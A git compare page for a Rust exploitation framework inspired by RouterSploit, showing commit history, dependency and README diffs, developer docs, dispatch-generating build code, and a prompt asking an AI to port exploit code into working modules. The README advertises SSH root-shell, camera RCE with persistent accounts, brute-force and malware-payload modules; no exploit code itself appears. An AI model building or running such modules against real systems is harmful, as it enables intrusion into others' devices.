Compare commits

...

130 Commits

Author SHA1 Message Date
S.B aa21d50cb9 Merge pull request #8 from s-b-repo/ipv6-patch
Ipv6 patch
2025-04-26 00:37:21 +02:00
S.B 8250c927a4 Update mod.rs 2025-04-26 00:37:04 +02:00
S.B 626aa3f084 Update acti_camera_default.rs 2025-04-26 00:35:15 +02:00
S.B 88427e4bc8 Update extra.txt 2025-04-26 00:33:28 +02:00
S.B 38575855d5 Update Cargo.toml 2025-04-26 00:32:48 +02:00
S.B 5130128663 Update mod.rs 2025-04-26 00:30:26 +02:00
S.B 8aff83df06 Add files via upload 2025-04-26 00:29:58 +02:00
S.B f5f09f3309 Update ftp_bruteforce.rs 2025-04-26 00:29:28 +02:00
S.B e5a70c2def Update acti_camera_default.rs 2025-04-25 23:30:02 +02:00
S.B 2a29276bda Update opensshserver_9_8p1race_condition.rs 2025-04-25 23:25:02 +02:00
S.B d25b58acbf Update port_scanner.rs 2025-04-25 21:39:30 +02:00
S.B 7667872198 Update ssdp_msearch.rs 2025-04-25 21:39:13 +02:00
S.B e85a99ce0e Update tplink_wr740n_dos.rs 2025-04-25 21:29:31 +02:00
S.B d48c946a4b Update tp_link_vn020_dos.rs 2025-04-25 21:23:52 +02:00
S.B 13c23523cc Update batgen.rs 2025-04-25 21:15:05 +02:00
S.B d64ccf34e5 Update mod.rs 2025-04-25 21:13:26 +02:00
S.B 681751e59a Add files via upload 2025-04-25 21:12:42 +02:00
S.B 08e1b55da5 Update mod.rs 2025-04-25 16:23:22 +02:00
S.B 638559356f Create batgen.rs 2025-04-25 16:22:52 +02:00
S.B 6a9b5354b4 Update payloadgenbat.rs 2025-04-25 15:46:44 +02:00
S.B 3b16120d5b Update heartbleed.rs 2025-04-25 15:38:30 +02:00
S.B ee5d3e11c2 Update uniview_nvr_pwd_disclosure.rs 2025-04-25 15:31:14 +02:00
S.B 6f61853c5f Update abussecurity_camera_cve202326609variant2.rs 2025-04-25 15:25:10 +02:00
S.B e04e09eb64 Update abussecurity_camera_cve202326609variant1.rs 2025-04-25 15:18:05 +02:00
S.B 01b3e5e8d2 Update rdp_bruteforce.rs 2025-04-25 15:00:57 +02:00
S.B d531723c4d Update rtsp_bruteforce_advanced.rs 2025-04-25 14:58:08 +02:00
S.B b2ee6300b2 Update ssh_bruteforce.rs 2025-04-25 14:45:13 +02:00
S.B 518c3b2c75 Update telnet_bruteforce.rs 2025-04-25 12:44:56 +02:00
S.B ec963c0a0f Update README.md 2025-04-25 12:13:55 +02:00
S.B faebb28a55 Update ssh_bruteforce.rs 2025-04-25 12:13:03 +02:00
S.B ad2e959fdb Update rtsp_bruteforce_advanced.rs 2025-04-25 11:52:53 +02:00
S.B a71ff971d2 Update mod.rs 2025-04-25 11:27:58 +02:00
S.B b5d7e1314b Add files via upload 2025-04-25 11:27:32 +02:00
S.B c8c5730044 Update README.md 2025-04-25 11:25:19 +02:00
S.B 4be9fffd36 Update README.md 2025-04-24 21:53:19 +02:00
S.B 8be8d814b2 Update README.md 2025-04-24 21:39:03 +02:00
S.B 6e4c2a142e Update ftp_anonymous.rs 2025-04-24 21:37:52 +02:00
S.B 4aeb23a340 Update Cargo.toml 2025-04-24 21:23:14 +02:00
S.B af53756b78 Update ftp_bruteforce.rs 2025-04-24 21:22:22 +02:00
S.B 8e182b2530 Update utils.rs 2025-04-24 21:20:52 +02:00
S.B ffabcfa277 Update mod.rs 2025-04-24 21:20:30 +02:00
S.B 101f201b30 Merge pull request #7 from s-b-repo/devs-uwu
Devs uwu
2025-04-24 16:55:48 +02:00
S.B 903dcd896d Update Cargo.toml 2025-04-24 16:54:52 +02:00
S.B d823a1760a Update README.md 2025-04-24 16:52:54 +02:00
S.B e7c1de9ab6 Update mod.rs 2025-04-24 16:38:46 +02:00
S.B e34fda4904 Add files via upload 2025-04-24 16:35:33 +02:00
S.B 5f8a3fcd4e Update Cargo.toml 2025-04-23 22:54:50 +02:00
S.B 6a3014cb2d Update opensshserver_9_8p1race_condition.rs 2025-04-23 22:53:21 +02:00
S.B 02e8bf4476 Update README.md 2025-04-23 22:46:46 +02:00
S.B ca6f3cf2ff Update README.md 2025-04-23 22:46:23 +02:00
S.B 14b350e1cc Update README.md 2025-04-23 22:45:53 +02:00
S.B b586f03cb6 Update mod.rs 2025-04-23 22:41:40 +02:00
S.B cbe0768fe3 Add files via upload 2025-04-23 22:40:58 +02:00
S.B c6fbdceb41 Update README.md 2025-04-23 21:20:10 +02:00
S.B 0a431b1431 Update mod.rs 2025-04-23 21:14:12 +02:00
S.B d8afcbd257 Add files via upload 2025-04-23 21:13:32 +02:00
S.B 8af374401e Delete src/modules/exploits/router/tp_link_vn020.rs 2025-04-23 21:13:11 +02:00
S.B dea86bd358 Update README.md 2025-04-23 20:31:17 +02:00
S.B d13408d5cc Update Cargo.toml 2025-04-23 20:19:34 +02:00
S.B 2b867f7550 Update mod.rs 2025-04-23 20:17:11 +02:00
S.B 5c5171f8d7 Add files via upload 2025-04-23 20:16:37 +02:00
S.B d1ceae6304 Update mod.rs 2025-04-23 20:15:45 +02:00
S.B 3bd0262554 Add files via upload 2025-04-23 20:15:16 +02:00
S.B fe9e8bb0bd Update extra.txt 2025-04-23 15:55:54 +02:00
S.B 67c5b8651e Update extra.txt 2025-04-23 15:50:50 +02:00
S.B 9c33ecc8c8 Update extra.txt 2025-04-23 15:50:22 +02:00
S.B 4c8e968bb9 Create extra.txt 2025-04-23 15:49:45 +02:00
S.B 5c66d123d8 Update README.md 2025-04-23 14:10:40 +02:00
S.B 0369126960 Update heartbleed.rs 2025-04-23 14:08:32 +02:00
S.B 5b951c7187 Update port_scanner.rs 2025-04-23 14:07:19 +02:00
S.B 127bc9d20a Update README.md 2025-04-23 14:04:25 +02:00
S.B f2b71a4981 Update README.md 2025-04-23 14:03:45 +02:00
S.B 7475c22b65 Update exploit.rs 2025-04-23 14:02:51 +02:00
S.B f41fc58462 Update creds.rs 2025-04-23 14:02:18 +02:00
S.B 891801514b Update scanner.rs 2025-04-23 14:02:03 +02:00
S.B c9d650933a Update mod.rs 2025-04-23 14:01:45 +02:00
S.B 8080cca173 Add files via upload 2025-04-23 14:00:34 +02:00
S.B 431dfb53a3 Update Cargo.toml 2025-04-23 13:59:47 +02:00
S.B c02a58f6e6 Add files via upload 2025-04-23 13:39:23 +02:00
S.B b82685b214 Update README.md 2025-04-23 13:38:14 +02:00
S.B edb23f54b1 Update README.md 2025-04-23 13:37:46 +02:00
S.B b7a0274944 Update doc.md 2025-04-23 13:36:47 +02:00
S.B af71c827c7 Update doc.md 2025-04-23 13:31:58 +02:00
S.B 2d9989e735 Update doc.md 2025-04-23 13:23:57 +02:00
S.B 8920be99ca Merge pull request #5 from s-b-repo/dev-weekly
Update README.md
2025-04-22 16:03:13 +02:00
S.B 075a898fd7 Update README.md 2025-04-22 16:01:15 +02:00
S.B 0e6fb4fa3c Update README.md 2025-04-22 16:00:28 +02:00
S.B e1ac588ee4 Merge pull request #4 from s-b-repo/dev-weekly
Dev weekly
2025-04-22 15:59:15 +02:00
S.B cf4307c2b7 Update README.md 2025-04-22 14:32:25 +02:00
S.B 160090cb21 Update Cargo.toml 2025-04-22 14:27:01 +02:00
S.B f142be2b2e Update exploit.rs 2025-04-22 14:22:53 +02:00
S.B 6464b95054 Update mod.rs 2025-04-22 14:21:22 +02:00
S.B da379c3d39 Add files via upload 2025-04-22 14:20:26 +02:00
S.B fed1fc37d6 Add files via upload 2025-04-22 08:48:22 +02:00
S.B ea08e77109 Update shell.rs 2025-04-22 08:45:48 +02:00
S.B 017e4907c5 Delete Screenshot_20250416_111212.png 2025-04-22 08:43:26 +02:00
S.B 06bc6134a7 Delete Screenshot_20250409_010733.png 2025-04-22 08:43:08 +02:00
S.B f29199e2e1 Update README.md 2025-04-22 08:38:56 +02:00
S.B ef1f44fc23 Update utils.rs 2025-04-22 08:36:09 +02:00
S.B ddabd9dcbc Update shell.rs 2025-04-22 08:35:33 +02:00
S.B 61d0a7ef3c Update Cargo.toml 2025-04-22 07:43:04 +02:00
S.B e6d5a85153 Update exploit.rs 2025-04-21 16:42:01 +02:00
S.B d90f88ab91 Add files via upload 2025-04-21 16:41:08 +02:00
S.B b4a91be121 Create mod.rs 2025-04-21 16:38:32 +02:00
S.B 9694801619 Update scanner.rs 2025-04-21 15:26:27 +02:00
S.B 5313ae76f4 Update mod.rs 2025-04-21 15:25:26 +02:00
S.B bbbab50420 Add files via upload 2025-04-21 15:24:27 +02:00
S.B 66256975ee Update README.md 2025-04-20 21:46:31 +02:00
S.B 87dbf50464 Update README.md 2025-04-20 21:05:04 +02:00
S.B 3b258196f8 Merge pull request #3 from s-b-repo/weakly-dev.2
Weakly dev.2
2025-04-20 20:56:14 +02:00
S.B 2afa06ec1c Add files via upload 2025-04-20 20:53:17 +02:00
S.B 62c1c0b1a2 Delete src directory 2025-04-20 20:52:18 +02:00
S.B d11ee5cbeb Update Cargo.toml 2025-04-20 20:49:41 +02:00
S.B ddc6f57ade Update exploit.rs 2025-04-20 20:44:20 +02:00
S.B 67a87ac70e Add files via upload 2025-04-20 20:43:25 +02:00
S.B 16459fac69 Update mod.rs 2025-04-20 20:43:08 +02:00
S.B ae44fcb90c Rename enum.txt to rtsp-paths.txt 2025-04-16 16:45:36 +02:00
S.B 7f446b00a5 Add files via upload 2025-04-16 16:45:06 +02:00
S.B e40938fbb5 Create about.txt 2025-04-16 16:44:36 +02:00
S.B c841746f3c Update creds.rs 2025-04-16 16:43:13 +02:00
S.B bf06740df6 Update mod.rs 2025-04-16 16:42:17 +02:00
S.B 3be699817f Add files via upload 2025-04-16 16:41:48 +02:00
S.B df998013b1 Update Cargo.toml 2025-04-16 15:16:28 +02:00
S.B b77f60a9c5 Update doc.md 2025-04-16 15:12:38 +02:00
S.B 91d887217d Update cli.rs 2025-04-16 15:10:03 +02:00
S.B c0b9e431f5 Update shell.rs 2025-04-16 15:09:29 +02:00
S.B baf250e636 Update README.md 2025-04-16 13:50:46 +02:00
S.B 084b391737 Update README.md 2025-04-16 13:48:10 +02:00
S.B c13109589f Update README.md 2025-04-16 13:46:26 +02:00
S.B e0bbf7ba23 Update README.md 2025-04-16 13:43:47 +02:00
50 changed files with 4760 additions and 544 deletions
+42 -4
View File
@@ -1,17 +1,21 @@
[package]
name = "r_routersploit"
name = "rustsploit"
version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json"] }
reqwest = { version = "0.12.15", features = ["json", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
# Easier error handling
anyhow = "1.0.97"
@@ -21,8 +25,12 @@ colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
@@ -33,3 +41,33 @@ walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
+140 -37
View File
@@ -1,37 +1,67 @@
---
# R-RouterSploit 🛠️
# Rustsploit 🛠️
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250416_111212.png)
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/lat.png)
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
---
### Goals & To Do lists
convert exploits and add modules
Convert exploits and add modules
# completed
```
created docs
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
dynamic modules listing and colored listing
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
---
```
## 🚀 Building & Running
## 📦🛠️ requirements
```
```
sudo apt update
sudo apt install freerdp2-x11
for rdp bruteforce modudle
```
```
### 📦 Clone the Repository
```
@@ -45,27 +75,17 @@ cd r-routersploit
cargo build
```
### 🔧 Run in CLI Mode
You can run specific modules via CLI using subcommands:
#### ▶ Exploit
To build and run:
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
cargo run
```
#### 🧪 Scanner
To install:
```
cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
cargo install
```
#### 🔐 Credentials
```
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
```
---
### 🖥️ Run in Interactive Shell Mode
@@ -75,15 +95,98 @@ Launch the interactive RSF shell:
cargo run
```
Once inside the shell, you can explore and execute modules:
Once inside the shell:
```
```text
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
---
### 🔧 Run in CLI Mode
#### ▶ Exploit
```
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### 🧪 Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
```
#### 🔐 Credentials
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
---
## 🌐 Proxy Retry Logic (Shell Mode)
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
---
## 📂 Module System
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
Each module must define:
```rust
pub async fn run(target: &str) -> Result<()>
```
Optional:
```rust
pub async fn run_interactive(target: &str) -> Result<()>
```
---
## 🧼 Shell State
The shell keeps:
- Current module
- Current target
- Proxy list + state
No session state is saved — everything resets on restart.
---
## 💡 Want to Add a Module?
See the full [Developer Guide](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
```
---
Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

+96
View File
@@ -0,0 +1,96 @@
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
fn main() {
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
}
}
}
}
Ok(())
}
+220 -146
View File
@@ -1,19 +1,23 @@
the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
---
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
---
## 🧠 Framework Philosophy
This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 Command-Line Interface (CLI)
- 🖥️ Interactive Shell
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
@@ -22,246 +26,316 @@ This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of
```
routersploit_rust/
├── Cargo.toml
── src
├── main.rs # Entry point
├── cli.rs # Parses CLI args
├── shell.rs # Interactive shell (rsf> prompt)
├── commands/ # Dispatch logic for exploit/scanner/creds
── build.rs
└── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
│ ├── exploit.rs
│ ├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
│ └── creds.rs
├── modules/ # All available attack modules
├── modules/ # All attack modules
│ ├── mod.rs
│ ├── exploits/
│ │ ├── mod.rs
│ │ └── sample_exploit.rs
│ ├── scanners/
│ │ ├── mod.rs
│ │ └── sample_scanner.rs
│ └── creds/
│ ├── mod.rs
│ └── sample_cred_check.rs
└── utils.rs # Utility helpers (e.g., list modules)
└── utils.rs # Common utilities
```
---
## 🔗 Module System
Each **module** (exploit/scanner/cred checker) is self-contained:
### Anatomy of a Module
Each module is a Rust file with a required `run()` entry point:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
### Placement:
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## ✅ Adding a New Module
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running <MODULE_NAME> on target {}", target);
// Logic here
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
Each module must:
- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
- Have a `run(target: &str) -> Result<()>` function
- Be declared in its parent's `mod.rs`
- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
### 2. Register in `mod.rs`
```rust
pub mod ftp_weak_login;
```
---
## ⚙️ CLI Internals
## 🧠 Auto-Dispatch System
Handled via **Clap** in `cli.rs`:
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
- Passed into `commands::handle_command()` for dispatch
---
## 🖥️ Interactive Shell
Start with:
Or in the shell:
```
cargo run
```
Inside the shell:
```
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Shell maintains internal state:
- `current_module` (e.g., `exploits/sample_exploit`)
- `current_target` (e.g., `192.168.1.1`)
Behind the scenes:
When `run` is called, it dispatches via `commands::run_module()`.
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## 🧪 Running a Module (Backend Flow)
## ❌ What Not To Do
1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
4. `run(target: &str)` executes async exploit logic
5. Results are printed back to the user
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## How to Add a New Exploit/Scanner/Cred Module
## ⚙️ CLI Usage
### 1. Create the Module File
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
Example: `src/modules/exploits/my_new_exploit.rs`
### Args:
```rust
use anyhow::{Result, Context};
use reqwest;
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
pub async fn run(target: &str) -> Result<()> {
println!("[*] Launching my_new_exploit on {}", target);
let url = format!("http://{}/pwn", target);
let resp = reqwest::get(&url)
.await
.context("Request failed")?
.text()
.await?;
---
if resp.contains("owned") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Not vulnerable.");
}
## 🖥️ Shell Usage
Ok(())
}
```bash
cargo run
```
Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## 🔁 Proxy Retry Logic (Shell Only)
Proxy logic only applies in shell mode (`rsf>`).
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
### 2. Register It in `mod.rs`
## 🧪 Module Execution Flow
```rust
// src/modules/exploits/mod.rs
pub mod sample_exploit;
pub mod my_new_exploit;
```
---
### 3. Wire It into the Command Handler
```rust
// src/commands/exploit.rs
match module_name {
"sample_exploit" => exploits::sample_exploit::run(target).await?,
"my_new_exploit" => exploits::my_new_exploit::run(target).await?,
_ => eprintln!("Unknown exploit module"),
}
```
---
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
- Errors are automatically printed when the main shell or CLI fails.
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Support
## ⚡ Async Features
- The project uses `tokio` runtime and `reqwest` async client.
- All modules can use `async fn run(...) -> Result<()>` safely.
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 HTTP Requests
## 📡 Making Requests
Use `reqwest`:
- Use `reqwest` for sending requests to the target:
```rust
let response = reqwest::get(&url).await?;
let resp = reqwest::get(&url).await?.text().await?;
```
- Or with a custom client and headers/auth:
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI Mode
### CLI
```
# Exploit a router
cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell Mode
### Shell
```
rsf> use exploits/sample_exploit
rsf> set target 192.168.0.1
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Resetting Shell State
## 🧼 Shell Reset
There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Real Exploit Integration
## 🔐 Adapting CVEs
To adapt a real-world CVE:
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
- Convert the PoC into an async HTTP request
- Simulate or validate the vulnerable response pattern
- Follow the above module creation workflow
TCP/UDP logic:
If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 🛠️ Feature Ideas
## 💡 Feature Roadmap
- 🧰 Add wordlist brute-forcers (like rockyou support)
- 📄 Export results to a file
- ⚡ Parallel scanning via `tokio::spawn`
- 🔌 Plugin system for runtime module loading
- 🔒 Encrypted config/profile saving
- 🧪 Integration with Shodan/Censys APIs
add more exploits etc
---
## 👥 Contributors
- Main Developer: You.
- Language: 100% Rust
- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
---
## 🧾 License
---
Would you like me to convert this into a Markdown file (`docs.md`) and drop it into your project as-is? Or would you like GitHub-flavored `.md` formatting tailored with headers, badges, collapsible trees, etc.?
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
+73
View File
@@ -0,0 +1,73 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
All internal logic must be routed through this function.
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
✅ If necessary, clean up variable scoping or imports, but never remove real features.
✅ keep all comments from the orginal but add two / before comments
